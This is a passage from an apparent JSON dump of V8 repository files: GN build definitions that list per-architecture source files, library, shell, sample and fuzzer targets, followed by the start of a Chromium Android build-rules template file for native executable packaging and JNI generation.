\"src/crankshaft/mips/lithium-codegen-mips.cc\",\n      \"src/crankshaft/mips/lithium-codegen-mips.h\",\n      \"src/crankshaft/mips/lithium-gap-resolver-mips.cc\",\n      \"src/crankshaft/mips/lithium-gap-resolver-mips.h\",\n      \"src/crankshaft/mips/lithium-mips.cc\",\n      \"src/crankshaft/mips/lithium-mips.h\",\n      \"src/debug/mips/debug-mips.cc\",\n      \"src/full-codegen/mips/full-codegen-mips.cc\",\n      \"src/ic/mips/access-compiler-mips.cc\",\n      \"src/ic/mips/handler-compiler-mips.cc\",\n      \"src/ic/mips/ic-compiler-mips.cc\",\n      \"src/ic/mips/ic-mips.cc\",\n      \"src/ic/mips/stub-cache-mips.cc\",\n      \"src/mips/assembler-mips-inl.h\",\n      \"src/mips/assembler-mips.cc\",\n      \"src/mips/assembler-mips.h\",\n      \"src/mips/code-stubs-mips.cc\",\n      \"src/mips/code-stubs-mips.h\",\n      \"src/mips/codegen-mips.cc\",\n      \"src/mips/codegen-mips.h\",\n      \"src/mips/constants-mips.cc\",\n      \"src/mips/constants-mips.h\",\n      \"src/mips/cpu-mips.cc\",\n      \"src/mips/deoptimizer-mips.cc\",\n      \"src/mips/disasm-mips.cc\",\n      \"src/mips/frames-mips.cc\",\n      \"src/mips/frames-mips.h\",\n      \"src/mips/interface-descriptors-mips.cc\",\n      \"src/mips/macro-assembler-mips.cc\",\n      \"src/mips/macro-assembler-mips.h\",\n      \"src/mips/simulator-mips.cc\",\n      \"src/mips/simulator-mips.h\",\n      \"src/regexp/mips/regexp-macro-assembler-mips.cc\",\n      \"src/regexp/mips/regexp-macro-assembler-mips.h\",\n    ]\n  } else if (v8_current_cpu == \"mips64el\") {\n    sources += [\n      \"src/builtins/mips64/builtins-mips64.cc\",\n      \"src/compiler/mips64/code-generator-mips64.cc\",\n      \"src/compiler/mips64/instruction-codes-mips64.h\",\n      \"src/compiler/mips64/instruction-scheduler-mips64.cc\",\n      \"src/compiler/mips64/instruction-selector-mips64.cc\",\n      \"src/crankshaft/mips64/lithium-codegen-mips64.cc\",\n      \"src/crankshaft/mips64/lithium-codegen-mips64.h\",\n      \"src/crankshaft/mips64/lithium-gap-resolver-mips64.cc\",\n      \"src/crankshaft/mips64/lithium-gap-resolver-mips64.h\",\n      \"src/crankshaft/mips64/lithium-mips64.cc\",\n      \"src/crankshaft/mips64/lithium-mips64.h\",\n      \"src/debug/mips64/debug-mips64.cc\",\n      \"src/full-codegen/mips64/full-codegen-mips64.cc\",\n      \"src/ic/mips64/access-compiler-mips64.cc\",\n      \"src/ic/mips64/handler-compiler-mips64.cc\",\n      \"src/ic/mips64/ic-compiler-mips64.cc\",\n      \"src/ic/mips64/ic-mips64.cc\",\n      \"src/ic/mips64/stub-cache-mips64.cc\",\n      \"src/mips64/assembler-mips64-inl.h\",\n      \"src/mips64/assembler-mips64.cc\",\n      \"src/mips64/assembler-mips64.h\",\n      \"src/mips64/code-stubs-mips64.cc\",\n      \"src/mips64/code-stubs-mips64.h\",\n      \"src/mips64/codegen-mips64.cc\",\n      \"src/mips64/codegen-mips64.h\",\n      \"src/mips64/constants-mips64.cc\",\n      \"src/mips64/constants-mips64.h\",\n      \"src/mips64/cpu-mips64.cc\",\n      \"src/mips64/deoptimizer-mips64.cc\",\n      \"src/mips64/disasm-mips64.cc\",\n      \"src/mips64/frames-mips64.cc\",\n      \"src/mips64/frames-mips64.h\",\n      \"src/mips64/interface-descriptors-mips64.cc\",\n      \"src/mips64/macro-assembler-mips64.cc\",\n      \"src/mips64/macro-assembler-mips64.h\",\n      \"src/mips64/simulator-mips64.cc\",\n      \"src/mips64/simulator-mips64.h\",\n      \"src/regexp/mips64/regexp-macro-assembler-mips64.cc\",\n      \"src/regexp/mips64/regexp-macro-assembler-mips64.h\",\n    ]\n  } else if (v8_current_cpu == \"s390\" || v8_current_cpu == \"s390x\") {\n    sources += [\n      \"src/builtins/s390/builtins-s390.cc\",\n      \"src/compiler/s390/code-generator-s390.cc\",\n      \"src/compiler/s390/instruction-codes-s390.h\",\n      \"src/compiler/s390/instruction-scheduler-s390.cc\",\n      \"src/compiler/s390/instruction-selector-s390.cc\",\n      \"src/crankshaft/s390/lithium-codegen-s390.cc\",\n      \"src/crankshaft/s390/lithium-codegen-s390.h\",\n      \"src/crankshaft/s390/lithium-gap-resolver-s390.cc\",\n      \"src/crankshaft/s390/lithium-gap-resolver-s390.h\",\n      \"src/crankshaft/s390/lithium-s390.cc\",\n      \"src/crankshaft/s390/lithium-s390.h\",\n      \"src/debug/s390/debug-s390.cc\",\n      \"src/full-codegen/s390/full-codegen-s390.cc\",\n      \"src/ic/s390/access-compiler-s390.cc\",\n      \"src/ic/s390/handler-compiler-s390.cc\",\n      \"src/ic/s390/ic-compiler-s390.cc\",\n      \"src/ic/s390/ic-s390.cc\",\n      \"src/ic/s390/stub-cache-s390.cc\",\n      \"src/regexp/s390/regexp-macro-assembler-s390.cc\",\n      \"src/regexp/s390/regexp-macro-assembler-s390.h\",\n      \"src/s390/assembler-s390-inl.h\",\n      \"src/s390/assembler-s390.cc\",\n      \"src/s390/assembler-s390.h\",\n      \"src/s390/code-stubs-s390.cc\",\n      \"src/s390/code-stubs-s390.h\",\n      \"src/s390/codegen-s390.cc\",\n      \"src/s390/codegen-s390.h\",\n      \"src/s390/constants-s390.cc\",\n      \"src/s390/constants-s390.h\",\n      \"src/s390/cpu-s390.cc\",\n      \"src/s390/deoptimizer-s390.cc\",\n      \"src/s390/disasm-s390.cc\",\n      \"src/s390/frames-s390.cc\",\n      \"src/s390/frames-s390.h\",\n      \"src/s390/interface-descriptors-s390.cc\",\n      \"src/s390/macro-assembler-s390.cc\",\n      \"src/s390/macro-assembler-s390.h\",\n      \"src/s390/simulator-s390.cc\",\n      \"src/s390/simulator-s390.h\",\n    ]\n  }\n\n  configs = [ \":internal_config\" ]\n\n  defines = []\n  deps = [\n    \":v8_libbase\",\n    \":v8_libsampler\",\n  ]\n\n  sources += [ v8_generated_peephole_source ]\n  deps += [ \":run_mkpeephole\" ]\n\n  if (is_win) {\n    # TODO(jschuh): crbug.com/167187 fix size_t to int truncations.\n    cflags = [ \"/wd4267\" ]\n  }\n\n  if (v8_enable_i18n_support) {\n    deps += [ \"//third_party/icu\" ]\n    if (is_win) {\n      deps += [ \"//third_party/icu:icudata\" ]\n    }\n  } else {\n    sources -= [\n      \"src/i18n.cc\",\n      \"src/i18n.h\",\n    ]\n  }\n\n  if (v8_postmortem_support) {\n    sources += [ \"$target_gen_dir/debug-support.cc\" ]\n    deps += [ \":postmortem-metadata\" ]\n  }\n}\n\nv8_source_set(\"v8_libbase\") {\n  visibility = [ \":*\" ]  # Only targets in this file can depend on this.\n\n  sources = [\n    \"src/base/accounting-allocator.cc\",\n    \"src/base/accounting-allocator.h\",\n    \"src/base/adapters.h\",\n    \"src/base/atomic-utils.h\",\n    \"src/base/atomicops.h\",\n    \"src/base/atomicops_internals_arm64_gcc.h\",\n    \"src/base/atomicops_internals_arm_gcc.h\",\n    \"src/base/atomicops_internals_atomicword_compat.h\",\n    \"src/base/atomicops_internals_mac.h\",\n    \"src/base/atomicops_internals_mips64_gcc.h\",\n    \"src/base/atomicops_internals_mips_gcc.h\",\n    \"src/base/atomicops_internals_s390_gcc.h\",\n    \"src/base/atomicops_internals_tsan.h\",\n    \"src/base/atomicops_internals_x86_gcc.cc\",\n    \"src/base/atomicops_internals_x86_gcc.h\",\n    \"src/base/atomicops_internals_x86_msvc.h\",\n    \"src/base/bits.cc\",\n    \"src/base/bits.h\",\n    \"src/base/build_config.h\",\n    \"src/base/cpu.cc\",\n    \"src/base/cpu.h\",\n    \"src/base/debug/stack_trace.cc\",\n    \"src/base/debug/stack_trace.h\",\n    \"src/base/division-by-constant.cc\",\n    \"src/base/division-by-constant.h\",\n    \"src/base/file-utils.cc\",\n    \"src/base/file-utils.h\",\n    \"src/base/flags.h\",\n    \"src/base/format-macros.h\",\n    \"src/base/free_deleter.h\",\n    \"src/base/functional.cc\",\n    \"src/base/functional.h\",\n    \"src/base/hashmap.h\",\n    \"src/base/ieee754.cc\",\n    \"src/base/ieee754.h\",\n    \"src/base/iterator.h\",\n    \"src/base/lazy-instance.h\",\n    \"src/base/logging.cc\",\n    \"src/base/logging.h\",\n    \"src/base/macros.h\",\n    \"src/base/once.cc\",\n    \"src/base/once.h\",\n    \"src/base/platform/condition-variable.cc\",\n    \"src/base/platform/condition-variable.h\",\n    \"src/base/platform/elapsed-timer.h\",\n    \"src/base/platform/mutex.cc\",\n    \"src/base/platform/mutex.h\",\n    \"src/base/platform/platform.h\",\n    \"src/base/platform/semaphore.cc\",\n    \"src/base/platform/semaphore.h\",\n    \"src/base/platform/time.cc\",\n    \"src/base/platform/time.h\",\n    \"src/base/safe_conversions.h\",\n    \"src/base/safe_conversions_impl.h\",\n    \"src/base/safe_math.h\",\n    \"src/base/safe_math_impl.h\",\n    \"src/base/sys-info.cc\",\n    \"src/base/sys-info.h\",\n    \"src/base/utils/random-number-generator.cc\",\n    \"src/base/utils/random-number-generator.h\",\n  ]\n\n  configs = [ \":internal_config_base\" ]\n\n  defines = []\n\n  if (is_posix) {\n    sources += [ \"src/base/platform/platform-posix.cc\" ]\n  }\n\n  if (is_linux) {\n    sources += [\n      \"src/base/debug/stack_trace_posix.cc\",\n      \"src/base/platform/platform-linux.cc\",\n    ]\n\n    libs = [\n      \"dl\",\n      \"rt\",\n    ]\n  } else if (is_android) {\n    if (current_toolchain == host_toolchain) {\n      libs = [\n        \"dl\",\n        \"rt\",\n      ]\n      if (host_os == \"mac\") {\n        sources += [\n          \"src/base/debug/stack_trace_posix.cc\",\n          \"src/base/platform/platform-macos.cc\",\n        ]\n      } else {\n        sources += [\n          \"src/base/debug/stack_trace_posix.cc\",\n          \"src/base/platform/platform-linux.cc\",\n        ]\n      }\n    } else {\n      sources += [\n        \"src/base/debug/stack_trace_android.cc\",\n        \"src/base/platform/platform-linux.cc\",\n      ]\n    }\n  } else if (is_mac) {\n    sources += [\n      \"src/base/debug/stack_trace_posix.cc\",\n      \"src/base/platform/platform-macos.cc\",\n    ]\n  } else if (is_win) {\n    # TODO(jochen): Add support for cygwin.\n    sources += [\n      \"src/base/debug/stack_trace_win.cc\",\n      \"src/base/platform/platform-win32.cc\",\n      \"src/base/win32-headers.h\",\n    ]\n\n    defines += [ \"_CRT_RAND_S\" ]  # for rand_s()\n\n    libs = [\n      \"dbghelp.lib\",\n      \"shlwapi.lib\",\n      \"winmm.lib\",\n      \"ws2_32.lib\",\n    ]\n  }\n\n  # TODO(jochen): Add support for qnx, freebsd, openbsd, netbsd, and solaris.\n}\n\nv8_source_set(\"v8_libplatform\") {\n  sources = [\n    \"//base/trace_event/common/trace_event_common.h\",\n    \"include/libplatform/libplatform.h\",\n    \"include/libplatform/v8-tracing.h\",\n    \"src/libplatform/default-platform.cc\",\n    \"src/libplatform/default-platform.h\",\n    \"src/libplatform/task-queue.cc\",\n    \"src/libplatform/task-queue.h\",\n    \"src/libplatform/tracing/trace-buffer.cc\",\n    \"src/libplatform/tracing/trace-buffer.h\",\n    \"src/libplatform/tracing/trace-config.cc\",\n    \"src/libplatform/tracing/trace-object.cc\",\n    \"src/libplatform/tracing/trace-writer.cc\",\n    \"src/libplatform/tracing/trace-writer.h\",\n    \"src/libplatform/tracing/tracing-controller.cc\",\n    \"src/libplatform/worker-thread.cc\",\n    \"src/libplatform/worker-thread.h\",\n  ]\n\n  configs = [ \":internal_config_base\" ]\n\n  public_configs = [ \":libplatform_config\" ]\n\n  deps = [\n    \":v8_libbase\",\n  ]\n}\n\nv8_source_set(\"v8_libsampler\") {\n  sources = [\n    \"src/libsampler/sampler.cc\",\n    \"src/libsampler/sampler.h\",\n  ]\n\n  configs = [ \":internal_config_base\" ]\n\n  public_configs = [ \":libsampler_config\" ]\n\n  deps = [\n    \":v8_libbase\",\n  ]\n}\n\nv8_source_set(\"fuzzer_support\") {\n  visibility = [ \":*\" ]  # Only targets in this file can depend on this.\n\n  sources = [\n    \"test/fuzzer/fuzzer-support.cc\",\n    \"test/fuzzer/fuzzer-support.h\",\n  ]\n\n  configs = [ \":internal_config_base\" ]\n\n  deps = [\n    \":v8_maybe_snapshot\",\n  ]\n\n  public_deps = [\n    \":v8_libplatform\",\n  ]\n}\n\nv8_source_set(\"simple_fuzzer\") {\n  sources = [\n    \"test/fuzzer/fuzzer.cc\",\n  ]\n\n  configs = [ \":internal_config_base\" ]\n}\n\n###############################################################################\n# Executables\n#\n\nif (current_toolchain == v8_snapshot_toolchain) {\n  v8_executable(\"mksnapshot\") {\n    visibility = [ \":*\" ]  # Only targets in this file can depend on this.\n\n    sources = [\n      \"src/snapshot/mksnapshot.cc\",\n    ]\n\n    configs = [ \":internal_config\" ]\n\n    deps = [\n      \":v8_base\",\n      \":v8_libplatform\",\n      \":v8_nosnapshot\",\n      \"//build/config/sanitizers:deps\",\n      \"//build/win:default_exe_manifest\",\n    ]\n  }\n}\n\nv8_executable(\"mkpeephole\") {\n  # mkpeephole needs to be built for the build host so the peephole lookup\n  # table can built during build. The table depends on the properties of\n  # bytecodes that are described in bytecodes.{cc,h}.\n  visibility = [ \":*\" ]  # Only targets in this file can depend on this.\n\n  sources = [\n    \"src/interpreter/bytecode-peephole-optimizer.h\",\n    \"src/interpreter/bytecodes.cc\",\n    \"src/interpreter/bytecodes.h\",\n    \"src/interpreter/mkpeephole.cc\",\n  ]\n\n  configs = [\n    \":external_config\",\n    \":internal_config\",\n  ]\n\n  deps = [\n    \":v8_libbase\",\n    \"//build/config/sanitizers:deps\",\n    \"//build/win:default_exe_manifest\",\n  ]\n}\n\n###############################################################################\n# Public targets\n#\n\nwant_v8_shell =\n    (current_toolchain == host_toolchain && v8_toolset_for_shell == \"host\") ||\n    (current_toolchain == v8_snapshot_toolchain &&\n     v8_toolset_for_shell == \"host\") ||\n    (current_toolchain != host_toolchain && v8_toolset_for_shell == \"target\")\n\ngroup(\"gn_all\") {\n  testonly = true\n\n  deps = [\n    \":d8\",\n    \":v8_hello_world\",\n    \":v8_parser_shell\",\n    \":v8_sample_process\",\n    \":v8_simple_json_fuzzer\",\n    \":v8_simple_parser_fuzzer\",\n    \":v8_simple_regexp_fuzzer\",\n    \":v8_simple_wasm_asmjs_fuzzer\",\n    \":v8_simple_wasm_fuzzer\",\n    \"test:gn_all\",\n    \"tools:gn_all\",\n  ]\n\n  if (want_v8_shell) {\n    deps += [ \":v8_shell\" ]\n  }\n\n  if (v8_test_isolation_mode != \"noop\") {\n    deps += [ \":d8_run\" ]\n  }\n}\n\nif (is_component_build) {\n  v8_component(\"v8\") {\n    sources = [\n      \"src/v8dll-main.cc\",\n    ]\n\n    deps = [\n      \":v8_dump_build_config\",\n    ]\n\n    public_deps = [\n      \":v8_base\",\n      \":v8_maybe_snapshot\",\n    ]\n\n    configs = [ \":internal_config\" ]\n\n    public_configs = [ \":external_config\" ]\n  }\n} else {\n  group(\"v8\") {\n    deps = [\n      \":v8_dump_build_config\",\n    ]\n\n    public_deps = [\n      \":v8_base\",\n      \":v8_maybe_snapshot\",\n    ]\n    public_configs = [ \":external_config\" ]\n  }\n}\n\nv8_executable(\"d8\") {\n  sources = [\n    \"src/d8.cc\",\n    \"src/d8.h\",\n  ]\n\n  configs = [\n    # Note: don't use :internal_config here because this target will get\n    # the :external_config applied to it by virtue of depending on :v8, and\n    # you can't have both applied to the same target.\n    \":internal_config_base\",\n  ]\n\n  deps = [\n    \":d8_js2c\",\n    \":v8\",\n    \":v8_libplatform\",\n    \"//build/config/sanitizers:deps\",\n    \"//build/win:default_exe_manifest\",\n  ]\n\n  # TODO(jochen): Add support for vtunejit.\n\n  if (is_posix) {\n    sources += [ \"src/d8-posix.cc\" ]\n  } else if (is_win) {\n    sources += [ \"src/d8-windows.cc\" ]\n  }\n\n  if (!is_component_build) {\n    sources += [ \"$target_gen_dir/d8-js.cc\" ]\n  }\n  if (v8_enable_i18n_support) {\n    deps += [ \"//third_party/icu\" ]\n  }\n}\n\nv8_isolate_run(\"d8\") {\n  deps = [\n    \":d8\",\n  ]\n\n  isolate = \"//src/d8.isolate\"\n}\n\nv8_executable(\"v8_hello_world\") {\n  sources = [\n    \"samples/hello-world.cc\",\n  ]\n\n  configs = [\n    # Note: don't use :internal_config here because this target will get\n    # the :external_config applied to it by virtue of depending on :v8, and\n    # you can't have both applied to the same target.\n    \":internal_config_base\",\n  ]\n\n  deps = [\n    \":v8\",\n    \":v8_libplatform\",\n    \"//build/config/sanitizers:deps\",\n    \"//build/win:default_exe_manifest\",\n  ]\n\n  if (v8_enable_i18n_support) {\n    deps += [ \"//third_party/icu\" ]\n  }\n}\n\nv8_executable(\"v8_sample_process\") {\n  sources = [\n    \"samples/process.cc\",\n  ]\n\n  configs = [\n    # Note: don't use :internal_config here because this target will get\n    # the :external_config applied to it by virtue of depending on :v8, and\n    # you can't have both applied to the same target.\n    \":internal_config_base\",\n  ]\n\n  deps = [\n    \":v8\",\n    \":v8_libplatform\",\n    \"//build/config/sanitizers:deps\",\n    \"//build/win:default_exe_manifest\",\n  ]\n\n  if (v8_enable_i18n_support) {\n    deps += [ \"//third_party/icu\" ]\n  }\n}\n\nv8_executable(\"v8_parser_shell\") {\n  sources = [\n    \"tools/parser-shell.cc\",\n    \"tools/shell-utils.h\",\n  ]\n\n  configs = [\n    \":external_config\",\n    \":internal_config_base\",\n  ]\n\n  deps = [\n    \":v8_libplatform\",\n    \"//build/config/sanitizers:deps\",\n    \"//build/win:default_exe_manifest\",\n  ]\n\n  if (is_component_build) {\n    # v8_parser_shell can't be built against a shared library, so we\n    # need to depend on the underlying static target in that case.\n    deps += [ \":v8_maybe_snapshot\" ]\n  } else {\n    deps += [ \":v8\" ]\n  }\n\n  if (v8_enable_i18n_support) {\n    deps += [ \"//third_party/icu\" ]\n  }\n\n  if (is_win) {\n    # Suppress warnings about importing locally defined symbols.\n    if (is_component_build) {\n      ldflags = [\n        \"/ignore:4049\",\n        \"/ignore:4217\",\n      ]\n    }\n  }\n}\n\nif (want_v8_shell) {\n  v8_executable(\"v8_shell\") {\n    sources = [\n      \"samples/shell.cc\",\n    ]\n\n    configs = [\n      # Note: don't use :internal_config here because this target will get\n      # the :external_config applied to it by virtue of depending on :v8, and\n      # you can't have both applied to the same target.\n      \":internal_config_base\",\n    ]\n\n    deps = [\n      \":v8\",\n      \":v8_libplatform\",\n      \"//build/config/sanitizers:deps\",\n      \"//build/win:default_exe_manifest\",\n    ]\n\n    if (v8_enable_i18n_support) {\n      deps += [ \"//third_party/icu\" ]\n    }\n  }\n}\n\ntemplate(\"v8_fuzzer\") {\n  name = target_name\n  forward_variables_from(invoker, \"*\")\n  v8_executable(\"v8_simple_\" + name) {\n    deps = [\n      \":\" + name,\n      \":simple_fuzzer\",\n      \"//build/win:default_exe_manifest\",\n    ]\n\n    configs = [ \":external_config\" ]\n  }\n}\n\nv8_source_set(\"json_fuzzer\") {\n  sources = [\n    \"test/fuzzer/json.cc\",\n  ]\n\n  deps = [\n    \":fuzzer_support\",\n  ]\n\n  configs = [ \":internal_config\" ]\n}\n\nv8_fuzzer(\"json_fuzzer\") {\n}\n\nv8_source_set(\"parser_fuzzer\") {\n  sources = [\n    \"test/fuzzer/parser.cc\",\n  ]\n\n  deps = [\n    \":fuzzer_support\",\n  ]\n\n  configs = [ \":internal_config\" ]\n}\n\nv8_fuzzer(\"parser_fuzzer\") {\n}\n\nv8_source_set(\"regexp_fuzzer\") {\n  sources = [\n    \"test/fuzzer/regexp.cc\",\n  ]\n\n  deps = [\n    \":fuzzer_support\",\n  ]\n\n  configs = [ \":internal_config\" ]\n}\n\nv8_fuzzer(\"regexp_fuzzer\") {\n}\n\nv8_source_set(\"wasm_fuzzer\") {\n  sources = [\n    \"test/fuzzer/wasm.cc\",\n  ]\n\n  deps = [\n    \":fuzzer_support\",\n  ]\n\n  configs = [ \":internal_config\" ]\n}\n\nv8_fuzzer(\"wasm_fuzzer\") {\n}\n\nv8_source_set(\"wasm_asmjs_fuzzer\") {\n  sources = [\n    \"test/fuzzer/wasm-asmjs.cc\",\n  ]\n\n  deps = [\n    \":fuzzer_support\",\n  ]\n\n  configs = [ \":internal_config\" ]\n}\n\nv8_fuzzer(\"wasm_asmjs_fuzzer\") {\n}\n"
  },
  {
    "path": "samples/GN/android-rules.gni",
    "content": "# Copyright 2014 The Chromium Authors. All rights reserved.\n# Use of this source code is governed by a BSD-style license that can be\n# found in the LICENSE file.\n\n# Do not add any imports to non-//build directories here.\n# Some projects (e.g. V8) do not have non-build directories DEPS'ed in.\nimport(\"//build/config/android/config.gni\")\nimport(\"//build/config/android/internal_rules.gni\")\nimport(\"//build/config/compiler/compiler.gni\")\nimport(\"//build/config/dcheck_always_on.gni\")\nimport(\"//build/toolchain/toolchain.gni\")\n\nassert(is_android)\n\n# Creates a dist directory for a native executable.\n#\n# Running a native executable on a device requires all the shared library\n# dependencies of that executable. To make it easier to install and run such an\n# executable, this will create a directory containing the native exe and all\n# it's library dependencies.\n#\n# Note: It's usually better to package things as an APK than as a native\n# executable.\n#\n# Variables\n#   dist_dir: Directory for the exe and libraries. Everything in this directory\n#     will be deleted before copying in the exe and libraries.\n#   binary: Path to (stripped) executable.\n#   extra_files: List of extra files to copy in (optional).\n#\n# Example\n#   create_native_executable_dist(\"foo_dist\") {\n#     dist_dir = \"$root_build_dir/foo_dist\"\n#     binary = \"$root_build_dir/foo\"\n#     deps = [ \":the_thing_that_makes_foo\" ]\n#   }\ntemplate(\"create_native_executable_dist\") {\n  forward_variables_from(invoker, [ \"testonly\" ])\n\n  _libraries_list = \"${target_gen_dir}/${target_name}_library_dependencies.list\"\n\n  _find_deps_target_name = \"${target_name}__find_library_dependencies\"\n\n  # TODO(agrieve): Extract dependent libs from GN rather than readelf.\n  action(_find_deps_target_name) {\n    forward_variables_from(invoker, [ \"deps\" ])\n\n    script = \"//build/android/gyp/write_ordered_libraries.py\"\n    depfile = \"$target_gen_dir/$target_name.d\"\n    inputs = [\n      invoker.binary,\n      android_readelf,\n    ]\n    outputs = [\n      _libraries_list,\n    ]\n    rebased_binaries = rebase_path([ invoker.binary ], root_build_dir)\n    args = [\n      \"--depfile\",\n      rebase_path(depfile, root_build_dir),\n      \"--input-libraries=$rebased_binaries\",\n      \"--libraries-dir\",\n      rebase_path(root_shlib_dir, root_build_dir),\n      \"--output\",\n      rebase_path(_libraries_list, root_build_dir),\n      \"--readelf\",\n      rebase_path(android_readelf, root_build_dir),\n    ]\n  }\n\n  copy_ex(target_name) {\n    clear_dir = true\n\n    inputs = [\n      _libraries_list,\n      invoker.binary,\n    ]\n\n    dest = invoker.dist_dir\n    data = [\n      \"${invoker.dist_dir}/\",\n    ]\n\n    _rebased_libraries_list = rebase_path(_libraries_list, root_build_dir)\n    _rebased_binaries_list = rebase_path([ invoker.binary ], root_build_dir)\n    args = [\n      \"--files=@FileArg($_rebased_libraries_list:lib_paths)\",\n      \"--files=$_rebased_binaries_list\",\n    ]\n    if (defined(invoker.extra_files)) {\n      _rebased_extra_files = rebase_path(invoker.extra_files, root_build_dir)\n      args += [ \"--files=$_rebased_extra_files\" ]\n    }\n\n    deps = [\n      \":$_find_deps_target_name\",\n    ]\n    if (defined(invoker.deps)) {\n      deps += invoker.deps\n    }\n  }\n}\n\n# Writes a script to root_out_dir/bin that passes --output-directory to the\n# wrapped script, in addition to forwarding arguments. Most / all of these\n# wrappers should be made deps of //tools/android:android_tools.\n#\n# Variables\n#   target: Script to wrap.\n#   flag_name: Default is \"--output-directory\"\n#\n# Example\n#   wrapper_script(\"foo_wrapper\") {\n#     target = \"//pkg/foo.py\"\n#   }\ntemplate(\"wrapper_script\") {\n  action(target_name) {\n    _name = get_path_info(invoker.target, \"name\")\n    _output = \"$root_out_dir/bin/$_name\"\n\n    script = \"//build/android/gyp/create_tool_wrapper.py\"\n    outputs = [\n      _output,\n    ]\n\n    # The target isn't actually used by the script, but it's nice to have GN\n    # check that it exists.\n    inputs = [\n      invoker.target,\n    ]\n    args = [\n      \"--output\",\n      rebase_path(_output, root_build_dir),\n      \"--target\",\n      rebase_path(invoker.target, root_build_dir),\n      \"--output-directory\",\n      rebase_path(root_out_dir, root_build_dir),\n    ]\n    if (defined(invoker.flag_name)) {\n      args += [ \"--flag-name=${invoker.flag_name}\" ]\n    }\n  }\n}\n\nif (enable_java_templates) {\n  import(\"//build/config/sanitizers/sanitizers.gni\")\n  import(\"//tools/grit/grit_rule.gni\")\n\n  # Declare a jni target\n  #\n  # This target generates the native jni bindings for a set of .java files.\n  #\n  # See base/android/jni_generator/jni_generator.py for more info about the\n  # format of generating JNI bindings.\n  #\n  # Variables\n  #   sources: list of .java files to generate jni for\n  #   jni_package: subdirectory path for generated bindings\n  #\n  # Example\n  #   generate_jni(\"foo_jni\") {\n  #     sources = [\n  #       \"android/java/src/org/chromium/foo/Foo.java\",\n  #       \"android/java/src/org/chromium/foo/FooUtil.java\",\n  #     ]\n  #     jni_package = \"foo\"\n  #   }\n  template(\"generate_jni\") {\n    set_sources_assignment_filter([])\n    forward_variables_from(invoker, [ \"testonly\" ])\n\n    assert(defined(invoker.sources))\n    assert(defined(invoker.jni_package))\n    jni_package = invoker.jni_package\n    base_output_dir = \"${target_gen_dir}/${target_name}\"\n    package_output_dir = \"${base_output_dir}/${jni_package}\"\n    jni_output_dir = \"${package_output_dir}/jni\"\n\n    jni_generator_include =\n        \"//base/android/jni_generator/jni_generator_helper.h\"\n\n    foreach_target_name = \"${target_name}__jni_gen\"\n    action_foreach(foreach_target_name) {\n      script = \"//base/android/jni_generator/jni_generator.py\"\n      depfile = \"$target_gen_dir/$target_name.{{source_name_part}}.d\"\n      sources = invoker.sources\n      outputs = [\n        \"${jni_output_dir}/{{source_name_part}}_jni.h\",\n      ]\n\n      args = [\n        \"--depfile\",\n        rebase_path(depfile, root_build_dir),\n        \"--input_file={{source}}\",\n        \"--optimize_generation=1\",\n        \"--ptr_type=long\",\n        \"--output_dir\",\n        rebase_path(jni_output_dir, root_build_dir),\n        \"--includes\",\n        rebase_path(jni_generator_include, jni_output_dir),\n        \"--native_exports_optional\",\n      ]\n\n      if (enable_profiling) {\n        args += [ \"--enable_profiling\" ]\n      }\n    }\n\n    config(\"jni_includes_${target_name}\") {\n      # TODO(cjhopman): #includes should probably all be relative to\n      # base_output_dir. Remove that from this config once the includes are\n      # updated.\n      include_dirs = [\n        base_output_dir,\n        package_output_dir,\n      ]\n    }\n\n    group(target_name) {\n      forward_variables_from(invoker,\n                             [\n                               \"deps\",\n                               \"public_deps\",\n                               \"visibility\",\n                             ])\n      if (!defined(public_deps)) {\n        public_deps = []\n      }\n      public_deps += [ \":$foreach_target_name\" ]\n      public_configs = [ \":jni_includes_${target_name}\" ]\n    }\n  }\n\n  # Declare a jni target for a prebuilt jar\n  #\n  # This target generates the native jni bindings for a set of classes in a .jar.\n  #\n  # See base/android/jni_generator/jni_generator.py for more info about the\n  # format of generating JNI bindings.\n  #\n  # Variables\n  #   classes: list of .class files in the jar to generate jni for. These should\n  #     include the full path to the .class file.\n  #   jni_package: subdirectory path for generated bindings\n  #   jar_file: the path to the .jar. If not provided, will default to the sdk's\n  #     android.jar\n  #\n  #   deps, public_deps: As normal\n  #\n  # Example\n  #   generate_jar_jni(\"foo_jni\") {\n  #     classes = [\n  #       \"android/view/Foo.class\",\n  #     ]\n  #     jni_package = \"foo\"\n  #   }\n  template(\"generate_jar_jni\") {\n    set_sources_assignment_filter([])\n    forward_variables_from(invoker, [ \"testonly\" ])\n\n    assert(defined(invoker.classes))\n    assert(defined(invoker.jni_package))\n\n    if (defined(invoker.jar_file)) {\n      jar_file = invoker.jar_file\n    } else {\n      jar_file = android_sdk_jar\n    }\n\n    jni_package = invoker.jni_package\n    base_output_dir = \"${root_gen_dir}/${target_name}/${jni_package}\"\n    jni_output_dir = \"${base_output_dir}/jni\"\n\n    jni_generator_include =\n        \"//base/android/jni_generator/jni_generator_helper.h\"\n\n    # TODO(cjhopman): make jni_generator.py support generating jni for multiple\n    # .class files from a .jar.\n    jni_actions = []\n    foreach(class, invoker.classes) {\n      _classname_list = []\n      _classname_list = process_file_template([ class ], \"{{source_name_part}}\")\n      classname = _classname_list[0]\n      jni_target_name = \"${target_name}__jni_${classname}\"\n      jni_actions += [ \":$jni_target_name\" ]\n      action(jni_target_name) {\n        # The sources aren't compiled so don't check their dependencies.\n        check_includes = false\n        depfile = \"$target_gen_dir/$target_name.d\"\n        script = \"//base/android/jni_generator/jni_generator.py\"\n        sources = [\n          jar_file,\n        ]\n        outputs = [\n          \"${jni_output_dir}/${classname}_jni.h\",\n        ]\n\n        args = [\n          \"--depfile\",\n          rebase_path(depfile, root_build_dir),\n          \"--jar_file\",\n          rebase_path(jar_file, root_build_dir),\n          \"--input_file\",\n          class,\n          \"--optimize_generation=1\",\n          \"--ptr_type=long\",\n          \"--output_dir\",\n          rebase_path(jni_output_dir, root_build_dir),\n          \"--includes\",\n          rebase_path(jni_generator_include, jni_output_dir),\n          \"--native_exports_optional\",\n        ]\n\n        if (enable_profiling) {\n          args += [ \"--enable_profiling\" ]\n        }\n      }\n    }\n\n    config(\"jni_includes_${target_name}\") {\n      include_dirs = [ base_output_dir ]\n    }\n\n    group(target_name) {\n      public_deps = []\n      forward_variables_from(invoker,\n                             [\n                               \"deps\",\n                               \"public_deps\",\n                               \"visibility\",\n                             ])\n      public_deps += jni_actions\n      public_configs = [ \":jni_includes_${target_name}\" ]\n    }\n  }\n\n  # Declare a target for c-preprocessor-generated java files\n  #\n  # NOTE: For generating Java conterparts to enums prefer using the java_cpp_enum\n  #       rule instead.\n  #\n  # This target generates java files using the host C pre-processor. Each file 